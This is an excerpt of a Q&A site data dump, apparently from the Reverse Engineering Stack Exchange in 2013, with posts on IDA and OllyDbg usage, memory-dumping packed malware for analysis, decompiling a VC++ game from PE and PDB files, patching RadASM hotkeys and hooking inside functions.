  <row Id="2445" PostTypeId="2" ParentId="2400" CreationDate="2013-07-10T05:11:55.107" Score="4" Body="&lt;p&gt;I have looked through &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download.shtml&quot; rel=&quot;nofollow&quot;&gt;IDA SDK&lt;/a&gt; and specifically &lt;em&gt;segment.hpp&lt;/em&gt; file, and this is what I figured out. IDA has 12 segments types defined based on how those are treated by kernel. In addition, there are several &quot;fake&quot; segments, which IDA presumes would not contain code or data. As a result those are completely excluded from disassembly. This is how segment type is defined:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* 94 */  uchar type;   // Type of the segment. The kernel treats different&#xA;                        // segment types differently.&#xA;                        // Segments marked with '*' contain no instructions&#xA;                        // or data and are not declared as 'segments' in&#xA;                        // the disassembly.&#xA;&#xA;#define SEG_NORM        0       // Unknown type, no assumptions&#xA;#define SEG_XTRN        1       // * segment with 'extern' definitions&#xA;                                //   no instructions are allowed&#xA;#define SEG_CODE        2       // code segment&#xA;#define SEG_DATA        3       // data segment&#xA;#define SEG_IMP         4       // java: implementation segment&#xA;#define SEG_GRP         6       // * group of segments&#xA;#define SEG_NULL        7       // zero-length segment&#xA;#define SEG_UNDF        8       // undefined segment type (not used)&#xA;#define SEG_BSS         9       // uninitialized segment&#xA;#define SEG_ABSSYM     10       // * segment with definitions of absolute symbols&#xA;#define SEG_COMM       11       // * segment with communal definitions&#xA;#define SEG_IMEM       12       // internal processor memory &amp;amp; sfr (8051)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Class of the segment is &quot;mapped&quot; to its type in the following manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; //                      &quot;CODE&quot;  -&amp;gt; SEG_CODE&#xA; //                      &quot;DATA&quot;  -&amp;gt; SEG_DATA&#xA; //                      &quot;CONST&quot; -&amp;gt; SEG_DATA&#xA; //                      &quot;STACK&quot; -&amp;gt; SEG_BSS&#xA; //                      &quot;BSS&quot;   -&amp;gt; SEG_BSS&#xA; //                      &quot;XTRN&quot;  -&amp;gt; SEG_XTRN&#xA; //                      &quot;COMM&quot;  -&amp;gt; SEG_COMM&#xA; //                      &quot;ABS&quot;   -&amp;gt; SEG_ABS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition, I have found out that permissions are actually &quot;figured out&quot; and set by particular loader modules, which would also set segment types (ergo Classes) based on specifics of the loaded file. &lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-07-10T05:11:55.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2446" PostTypeId="2" ParentId="2412" CreationDate="2013-07-10T05:32:57.420" Score="2" Body="&lt;p&gt;ollydbg runtrace has a profiling option inbuilt &#xA;it can profile the runtrace either module wise &#xA;or globally &lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to run trace window  &lt;code&gt;(...)icon&lt;/code&gt; right click and select &lt;code&gt;profile module&lt;/code&gt; or &lt;code&gt;global profile&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a simple messagebox.exe (iczelions tutorial 2) will execute &lt;code&gt;1087946&lt;/code&gt; instructions from system breakpoint to original entry point  &lt;code&gt;skipping string commands repmovsb ... movsd&lt;/code&gt;&#xA;in &lt;code&gt;xpsp3&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run trace, selected line&#xA; Back=1087946. &#xA; Thread=Main&#xA; Module=ntdll&#xA; Address=7C90120F&#xA; Command=RETN&#xA; Modified registers=ESP=0013FB24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and call _LdrSnapThunk about 1000 times&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Profile of whole memory, item 30&#xA; Count=1012.&#xA; Address=7C917BF1 LdrpSnapThunk&#xA; First command=MOV     EDI, EDI&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will call zwCreateFile 4 times&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Profile of whole memory, item 1046&#xA; Count=4.&#xA; Address=7C90D0AE ZwCreateFile&#xA; First command=MOV     EAX, 25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from this global profile you can &lt;code&gt;hop back to disassembly window&lt;/code&gt; or &lt;code&gt;run trace window&lt;/code&gt; &#xA;&lt;code&gt;mark this position in run trace window&lt;/code&gt; and &lt;code&gt;jump to next marked position&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the details of &lt;code&gt;4 ZwCreateFile&lt;/code&gt; from global profile to runtrace window correlated below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Run trace, selected line&#xA; Back=978309. &amp;lt;-------------------&#xA; Thread=Main&#xA; Module=ntdll&#xA; Address=7C90D0AE ZwCreateFile&#xA; Command=MOV     EAX, 25&#xA; Modified registers=EAX=00000025&#xA;&#xA;Run trace, selected line&#xA; Back=975485. &amp;lt;----------------------&#xA; Thread=Main&#xA; Module=ntdll&#xA; Address=7C90D0AE ZwCreateFile&#xA; Command=MOV     EAX, 25&#xA; Modified registers=EAX=00000025&#xA;&#xA;&#xA;Run trace, selected line&#xA; Back=956331. &amp;lt;-----------------------&#xA; Thread=Main&#xA; Module=ntdll&#xA; Address=7C90D0AE ZwCreateFile&#xA; Command=MOV     EAX, 25&#xA; Modified registers=EAX=00000025&#xA;&#xA;&#xA;Run trace, selected line&#xA; Back=874497. &amp;lt;----------------------&#xA; Thread=Main&#xA; Module=ntdll&#xA; Address=7C90D0AE ZwCreateFile&#xA; Command=MOV     EAX, 25&#xA; Modified registers=EAX=00000025&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-07-10T10:12:36.423" LastActivityDate="2013-07-10T10:12:36.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2447" PostTypeId="2" ParentId="1873" CreationDate="2013-07-10T06:52:55.440" Score="6" Body="&lt;p&gt;I had the same problem at first when trying to connect &lt;code&gt;IDAPro&lt;/code&gt; to &lt;code&gt;windbg&lt;/code&gt;. What I did was the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Manually edit the &lt;code&gt;ida.cfg&lt;/code&gt; file located inside &lt;code&gt;.\IDA 6.4\cfg\ directory&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the &lt;code&gt;DBGTOOLS&lt;/code&gt; path with WinDbg tools directory. For example, to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DBGTOOLS = &quot;C:\\Program Files (x86)\\Windows Kits\\8.0\\Debuggers\\x86\\&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2425" LastEditorUserId="53" LastEditDate="2013-07-10T09:17:23.110" LastActivityDate="2013-07-10T09:17:23.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2448" PostTypeId="2" ParentId="2388" CreationDate="2013-07-10T10:48:29.590" Score="4" Body="&lt;p&gt;for vc++ name demangling you can use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ishiboo.com/~danny/Projects/vc++filt/&quot; rel=&quot;nofollow&quot;&gt;vc++filt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is a small wrapper over dbghelp Function UnDecorateSymbolname() that takes the mangled string and prints out demangled names back to the console see below for a snippet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;??3@YAXPAX@Z&#xA;void __cdecl operator delete(void *)&#xA;?AFXSetTopLevelFrame@@YAXPAVCFrameWnd@@@Z&#xA;void __cdecl AFXSetTopLevelFrame(class CFrameWnd *)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;snippet &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int _tmain(int argc, _TCHAR* argv[])&#xA;{&#xA;    char buff[0x100];&#xA;    UnDecorateSymbolName(&quot;??3@YAXPAX@Z&quot;,buff,0xf0,UNDNAME_COMPLETE);&#xA;    printf(&quot;%s\n&quot;,buff);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void __cdecl operator delete(void *)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-07-10T10:48:29.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2449" PostTypeId="2" ParentId="2427" CreationDate="2013-07-10T14:12:57.610" Score="4" Body="&lt;p&gt;There is also &lt;a href=&quot;http://www.openrce.org/downloads/&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/downloads/&lt;/a&gt;&#xA;Though it does not have specific tools you are looking for, it has lots of plugins for IDA and OllyDbg. It is trustworthy source as well.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-07-10T14:12:57.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2450" PostTypeId="1" CreationDate="2013-07-10T20:38:28.293" Score="1" ViewCount="303" Body="&lt;p&gt;I'm looking for linux/unix open-source tools for fuzzing ethernet card for kill-switch packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Fuzzing&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Fuzzing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine how it would be long to brute full of range on physical level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is why, i'm looking for ready to go heuristic tool and special ethernet card for this task.&lt;/p&gt;&#xA;" OwnerUserId="2428" LastActivityDate="2013-07-10T20:38:28.293" Title="Where can i find unix/linux tool for fuzzing for kill-switches?" Tags="|hardware|linux|fuzzing|networking|" AnswerCount="0" CommentCount="4" ClosedDate="2013-07-30T08:58:50.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="2451" PostTypeId="2" ParentId="206" CreationDate="2013-07-11T09:49:21.100" Score="4" Body="&lt;p&gt;I give a good one: &lt;a href=&quot;http://www.virussign.com/downloads.html&quot; rel=&quot;nofollow&quot;&gt;http://www.virussign.com/downloads.html&lt;/a&gt;, It also contains a behavior analysis report.&lt;/p&gt;&#xA;" OwnerUserId="2433" LastActivityDate="2013-07-11T09:49:21.100" CommentCount="1" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="2452" PostTypeId="2" ParentId="2436" CreationDate="2013-07-13T01:46:03.937" Score="3" Body="&lt;p&gt;I've never closely analyzed an IP camera's proprietary protocol, but I've reversed a fair number of protocols over the years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can grab several hundred packets there might be more that we could do to help you out.  Just reading what you've written, my gut feeling that I would pursue is that the sequential value is in fact just that; a sequential value that is being used within the protocol to order frames, especially since they are being sent over UDP.  Add to that the minimum packet size and I think you've got your padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, a question.  What's going on in front of the camera while you're sniffing?  If I were implementing this type of protocol I would periodically send key frames interspersed with significantly larger numbers of encoded &quot;difference&quot; frames.  I would capture packets with nothing happening and then compare that to packets captured while waving your hand in front of the camera.  I strongly suspect that the hand-waving compared to the peaceful scene will give you far more to work for.  I would also expect key frames to be significantly larger, but I'm sure you're onto that already!&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T01:46:03.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2453" PostTypeId="2" ParentId="2400" CreationDate="2013-07-13T01:49:02.400" Score="4" Body="&lt;p&gt;Also, while permissions are more or less standardized and can inform you about the types of data/code found in a segment, remember that if you're talking about malware analysis there is no guarantee that the permissions on a segment are what you would expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to mention that there is often a fair amount of header tampering in addition to non-standard memory utilization.  In fact, this is often how you can tell whether something was written in assembly, mangled with a tool or compiled from some other language.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T01:49:02.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2454" PostTypeId="2" ParentId="2441" CreationDate="2013-07-13T01:51:26.333" Score="1" Body="&lt;p&gt;Also, as a super basic thing to check, verify that you are currently connected to a remote debugger. :)  I've made that mistake before.  Shut down the remote debugger and forgot about it!&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T01:51:26.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2455" PostTypeId="2" ParentId="2425" CreationDate="2013-07-13T01:57:13.030" Score="3" Body="&lt;p&gt;I would hesitate to categorically state that you cannot get the body of a polymorphic virus.  It really does depend on the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an approach that will work in many cases where the malware is encrypted, packed, etc.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Get the malware on a VM (or otherwise isolated box).&lt;/li&gt;&#xA;&lt;li&gt;Get the malware running.&lt;/li&gt;&#xA;&lt;li&gt;Dump the process memory using a tool like volatility or ProcDump (&lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx&quot; rel=&quot;nofollow&quot;&gt;http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will need to do some analysis to figure out precisely where the code entry point is in that memory dump but once you have it you will have a much easier time pulling it into something like IDA since the malware will most likely have already decrypted itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there are some techniques that involve just in time decryption/encryption while the  malware is running, but these are more unusual to find.  For -these- pieces of malware there is no quick and easy way to extract the decrypted body unless you have the algorithm and key already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="2449" LastEditorUserId="2449" LastEditDate="2013-07-13T11:10:04.707" LastActivityDate="2013-07-13T11:10:04.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2457" PostTypeId="2" ParentId="2251" CreationDate="2013-07-13T02:23:42.343" Score="1" Body="&lt;p&gt;It is very difficult to give you an ideal C equivalent that will accurately reflect original code in almost all but trivial cases.  While I don't immediately see signs of this in your code, you must bear in mind that when a compiler is executed, especially with any optimization options, it can result in logically jumbled code to allow the processor to more efficiently utilize cache and execution pipelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, rather than trying to go for a line by line decompilation, I find that it's better to start out commenting the assembly directly.  From there, try to stand back and identify general function.  From there you should be able to generate code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: (by the way, the start of this assembly fragment seems pretty arbitrary)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00464770  /$ 56             PUSH ESI                 ; save ESI&#xA;00464771  |. 8BF1           MOV ESI,ECX              ; ECX seems to contain the location of something important.&#xA;00464773  |. 833E 00        CMP DWORD PTR DS:[ESI],0 ; Check to see if it's zero.&#xA;00464776  |. 75 06          JNZ SHORT 0046477E       ; If it is, do this.&#xA;00464778  |. 33C0           XOR EAX,EAX              ; If it isn't, zero out EAX.  Remember that EAX is almost always used to return values, especially in compiled C code.&#xA;0046477A  |. 5E             POP ESI                  ; Restore ESI..  Why isn't EBP or anything else being restored?  This makes me suspicious of whether this code was compiled from C code to start with.  There doesn't seem to be a function prolog/epilog.&#xA;0046477B  |. C2 0800        RETN 8                   ; Return, unwinding 8 bytes off of the stack.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there, stand back and try to identify functional blocks.  I'd need to have more code to reverse this, though, since there is no hint as to what ECX might be pointing at, for example, or how and why this function was called.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T02:23:42.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2458" PostTypeId="1" CreationDate="2013-07-13T18:39:56.280" Score="7" ViewCount="4455" Body="&lt;p&gt;So I know x86 machine language and C++/C language. In the last weeks I've dedicated to learn Windows internals and especially PE format. My target is retrieving the Tomb Raider The Angel of Darkness source code files. This is 3d video game released 10 years ago (2003) and written in both C and C++ language. The code was both compiled with VC++ 6.0 and Intel C++ 7.1. The files from which I'm trying to guess the inital source code are PE formated executables with included ProgramDataBase file (v2.0) with public symbols. Their names are TRAOD, TRAOD_P3 and TRAOD_P4 (excluding the file extension (.exe.PDB) as the first one is compiled with vc++ and the other ones with ic++ for respectively Pentium 3 and Pentium 4 target processors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using IDA Pro to open the executables and map the PDB symbols. Then I was translating the machine instructions to their C++ equivalents and trashing them into one big cache file. Then I was using dbh.exe to map the functions into their matching source files (because the PDB files had the source line information for the public functions). But before to move to the next function I was compiling at test executable with vc++ or ic++ containing that function and then comparing the results with the original one (I mean comparing the machine code equivalent of the target function with both my test exe and the game one). But then I thought this isn't so much efficient because many other process aren't considered. I mean the PDB file holds much more information than the dbh program dumps and the PE file maybe too. In articles about the PE file format it's said that it's much simillar to the .OBJ one which files are used by the linker to produce the exe. So is it a better idea to go through the .OBJ files and then to guess the source code or just work with the exe? I read also that for producing .OBJ files from PE you need to have some symbols and I have them from the PDB file so I think this conversion is possible. Also if you have any other ideas how to decompile this game share them - I really want to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I'm also searching a documenation aobut the .PDB format(v2.0) and about the VC++ 6.0 produced .OBJ and .LIB files.&lt;/p&gt;&#xA;" OwnerUserId="1966" LastEditorUserId="1966" LastEditDate="2013-07-14T08:42:20.683" LastActivityDate="2013-07-14T08:51:08.460" Title="Reverse engineering a VC++ video game" Tags="|windows|x86|pe|pdb|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2459" PostTypeId="2" ParentId="2458" CreationDate="2013-07-13T19:20:56.993" Score="6" Body="&lt;p&gt;Given that you don't already have the .obj files, it doesn't make sense to try to generate the .obj files from the .exe and .pdb files and then reverse engineer the generated .obj files. If you were to do this then the .obj files wouldn't have any information in them that was not already in the .exe or .pdb files. As such, you're better off just working with the .exe and .pdb files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for reverse engineering the code, &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot;&gt;Hex-Rays&lt;/a&gt; is very helpful when trying to reverse engineer x86 code back to C/C++ source code.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-07-13T19:32:35.813" LastActivityDate="2013-07-13T19:32:35.813" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2460" PostTypeId="1" AcceptedAnswerId="2467" CreationDate="2013-07-13T20:45:04.423" Score="2" ViewCount="432" Body="&lt;p&gt;I am trying to modify RadASM so that Ctrl+W will close the tab, instead of Ctrl+F4, and also make it so that if you middle mouse click the tab, it will close. The context menu for a tab is just a copy of the &quot;Windows&quot; menu bar item. The problem is, I can not figure out which library or even function is used to create menu bars and its items. I can not find any relevant strings in OllyDBG, and I've tried making breakpoints for just about every call I thought it might be, but I can't get anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody point me in the right direction? I couldn't locate the function in RadASM for determining which hotkeys/shortcuts do what either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know all about code caves and injecting DLLs, so adding a function like the middle mouse click shouldn't be impossible; I just need to know where to start since I'm quite new to reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="2158" LastEditDate="2013-07-13T21:29:51.440" LastActivityDate="2013-07-14T12:08:27.767" Title="Change RadASM hotkey and add middle mouse click hotkey" Tags="|assembly|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2461" PostTypeId="2" ParentId="2458" CreationDate="2013-07-13T20:50:28.963" Score="5" Body="&lt;p&gt;If you purpose to reverse engineer the game is order to learn the way it was made you will  most likely end up having C/C++ files recreated (at least of major components). I am afraid there is no way you can reverse something and have full understanding of internal workings without firm grip on assembly. There are several tool that could aid you in your work. There are couple of great debuggers that you could use: &lt;a href=&quot;http://www.ollydbg.de/&quot;&gt;OllyDBG&lt;/a&gt; and &lt;a href=&quot;http://www.immunityinc.com/products-immdbg.shtml&quot;&gt;Immunity Debugger&lt;/a&gt;. There is obviously &lt;a href=&quot;https://www.hex-rays.com/index.shtml&quot;&gt;Hex-Rays&lt;/a&gt;, which offers several product. There is &lt;a href=&quot;https://www.hex-rays.com/products/ida/index.shtml&quot;&gt;IDA&lt;/a&gt;, which is excellent multiprocessor dissembler. IDA has 2 version: free version and commercial version. There is also &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/index.shtml&quot;&gt;Hex-Rays Decompiler&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-07-13T20:50:28.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2462" PostTypeId="2" ParentId="2458" CreationDate="2013-07-13T21:52:14.787" Score="4" Body="&lt;p&gt;If you are interested in really digesting the PE format, you definitely want to have a look at the references available here:  &lt;a href=&quot;http://blog.dkbza.org/2012/08/pe-file-format-graphs.html&quot; rel=&quot;nofollow&quot;&gt;http://blog.dkbza.org/2012/08/pe-file-format-graphs.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those diagrams are wonderfully complete and will absolutely give you an enormous leg up when it comes to analyzing an unknown file in PE format, even if the headers have been tampered with to discourage RE.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T21:52:14.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2463" PostTypeId="2" ParentId="2326" CreationDate="2013-07-13T22:01:36.747" Score="1" Body="&lt;p&gt;What immediately comes to mind is some type of virtualization layer accessing an IAT or IVT.  I absolutely agree with the previous answer that this is a call to a function vector in an array of function pointers.  I also agree that it does not look like a switch statement.  That's what takes me down the interrupt vector table/address table.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T22:01:36.747" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2464" PostTypeId="2" ParentId="2328" CreationDate="2013-07-13T22:04:14.367" Score="2" Body="&lt;p&gt;An alternative answer is that you are looking at hand coded assembly and there is actually no effort to deceive the disassembler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hand code assembly, regardless of what good practice is, if it is a small bit of code I will very frequently set the Data Selector to match the Code Selector and simply embed my data right inside of the code segment.  I especially do this if I'm writing a real mode boot loader, for example, or some other short lived piece of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another place I would do this and still not be trying to obfuscate things is in a piece of exploit code.  This allows me to have variables that I can reference reliably and still have a really tight piece of shell code.&lt;/p&gt;&#xA;" OwnerUserId="2449" LastActivityDate="2013-07-13T22:04:14.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2466" PostTypeId="2" ParentId="2304" CreationDate="2013-07-13T22:09:39.640" Score="2" Body="&lt;p&gt;The short answer is &quot;Yes.&quot;  In fact, if you experiment by generating machine language op codes directly you will discover that there is a whole range of operations that are effectively NOPs, all of which take a single processor cycle to execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While they are not technically &quot;Documented,&quot; you will find that very close to the 0x90,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;XCHG EAX, EAX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;XCHG EBX, EBX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;XCHG ECX, ECX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;XCHG EDX, EDX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2449" LastEditorUserId="22669" LastEditDate="2018-02-06T06:42:28.420" LastActivityDate="2018-02-06T06:42:28.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2467" PostTypeId="2" ParentId="2460" CreationDate="2013-07-13T23:40:09.523" Score="3" Body="&lt;p&gt;To change &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;F4&lt;/kbd&gt; to &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt; you can use a resource editor such as &lt;a href=&quot;http://www.angusj.com/resourcehacker/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Resource Hacker&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open RadASM.exe in the resource editor, modify the accelerators, and save your changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you're using Resource Hacker, you'd change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VK_F4, 47001, NOINVERT, CONTROL, VIRTKEY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VK_W, 47001, NOINVERT, CONTROL, VIRTKEY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then press the &lt;kbd&gt;Compile Script&lt;/kbd&gt; button, and save the changed file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3RkyP.png&quot; alt=&quot;Resource Hacker&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for handling a middle-click on the tab, I used Spy++ to find the Window Procedure for the tab window. For RadASM 2.2.1.6 it's at virtual address &lt;code&gt;004061D4&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mkKDV.png&quot; alt=&quot;Spy++&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function at that address is the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms645469%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;DialogProc callback function&lt;/a&gt; for the SysTabControl32 window. You can patch that function in RadASM.exe to monitor for and act on the &lt;code&gt;uMsg&lt;/code&gt; value &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms645610%28v=vs.85%29.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WM_MBUTTONDOWN&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2013-07-14T00:14:58.623" LastActivityDate="2013-07-14T00:14:58.623" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2468" PostTypeId="1" CreationDate="2013-07-13T23:43:22.883" Score="9" ViewCount="5521" Body="&lt;p&gt;How could I hook anywhere but the beginning of a function? I'm trying to add features to a third party executable, and I need it to execute it's code completely, then pass its data onto my function. I can't quite conceive how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do this? I can't find any hooking engines that implement this. I can't find any information on it anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw someone saying that you could add an illegal opcode then catch the exception, but I do not know how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (pseudo-code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int moveCharacter(int x, int y) {&#xA;    x += 5;&#xA;    y += 5;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say I want to hook right before &lt;code&gt;return 0&lt;/code&gt;, and pass the new &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt; variables to my own function (in an injected DLL, or code-cave) that writes the variables to a log file. After my function, I want to return to the original function, so that it can return like normal.&lt;/p&gt;&#xA;" OwnerUserId="2452" LastEditorUserId="2452" LastEditDate="2013-07-14T00:52:12.257" LastActivityDate="2013-07-14T04:05:30.227" Title="Hook end/middle of function" Tags="|c++|dll-injection|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
